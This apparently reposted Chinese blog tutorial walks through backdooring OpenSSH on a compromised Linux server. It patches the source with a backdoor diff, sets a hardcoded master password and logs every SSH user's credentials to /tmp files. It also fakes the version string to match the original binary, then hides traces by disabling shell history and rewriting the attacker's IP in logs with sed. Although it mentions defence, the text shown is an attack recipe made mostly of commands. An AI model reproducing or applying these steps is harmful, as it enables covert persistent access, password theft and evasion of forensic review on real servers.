利用Openssh后門 劫持root密碼


Linux操作系統的密碼較難獲取。而很多Linux服務器都配置了Openssh服務,在獲取root權限的情況下,

可以通過修改或者更新OpenSSH代碼等方法,截取並保存其SSH登錄賬號密碼,甚至可以留一個隱形的后門,

達到長期控制linux服務器的目的。在很多Linux系統被入侵后都會在系統中留后門,使用OpenSSH留后門是入侵者的慣用方式之一,OpenSSh后門比較難於檢測

那么怎么給添加OpenSSH后門以及防范后門呢

安裝依賴包

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel 

 

准備安裝包

[root@DaMoWang ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
[root@DaMoWang ~]# ls /opt/
openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是補丁文件

解壓

[root@DaMoWang ~]# cd /opt/
[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz 
[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz 
[root@DaMoWang opt]# ls
openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz

給openssh打補丁

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
[root@DaMoWang opt]# which patch
/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)
[root@DaMoWang opt]# yum install patch
[root@DaMoWang opt]# cd /opt/openssh-5.9p1
[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff   # 打補丁就是修改替換原文件
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h

添加后門密碼

[root@DaMoWang openssh-5.9p1]# vim includes.h 
# 跳轉到配置文件末尾處 , 修改默認配置
#define ILOG "/tmp/ilog"    # 記錄遠程登錄本機的用戶和密碼
#define OLOG "/tmp/olog"    # 記錄本機遠程登錄到其他主機的用戶和密碼
#define SECRETPW "apaajaboleh"    # 后門密碼

修改版本號

[root@DaMoWang openssh-5.9p1]# vim version.h 
# 修改為當前OpenSSH的版本號
#define SSH_VERSION     "OpenSSH_5.3"

#define SSH_PORTABLE    "p1"

編譯安裝

[root@DaMoWang openssh-5.9p1]# ./configure --prefix=/usr \
 --sysconfdir=/etc/ssh \
 --with-pam \
 --with-kerberos5 \
 && make && make install

 

可以看出來 安裝的時候 , 已經把原有的ssh的所有命令全部替換 , 但是原有的配置文件並沒有被替換 , 這樣不容易被發現

重啟ssh服務 測試一下

[root@DaMoWang openssh-5.9p1]# service sshd restart
停止 sshd:                                                [確定]
正在啟動 sshd:                                            [確定]
[root@DaMoWang openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服務正常啟動 , 版本也與原版本一致

測試是否能劫持用戶密碼

首先測試遠程登錄本機

現在並沒有生成文件

用xshell遠程連接一下

 

 用戶名和密碼被劫持 , 不僅僅是root用戶  , 所有遠程連接本機的用戶都會被記錄 

測試后面密碼能否登錄本機

為了看到效果 使用明文密碼登錄

連接以后 別留下腳印

[root@DaMoWang ~]# export HISTFILE=/dev/null
[root@DaMoWang ~]# export HISTSIZE=0
[root@DaMoWang ~]# export HISTFILESIZE=0
[root@DaMoWang ~]# echo >/root/.bash_history # 這個是歷史命令的終極文件 不能刪除 , 如果原來有內容 , 不能清除 可以是用sed替換
[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history
# 其他訪問日志也可以用用sed替換ip , 瞞天過海

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM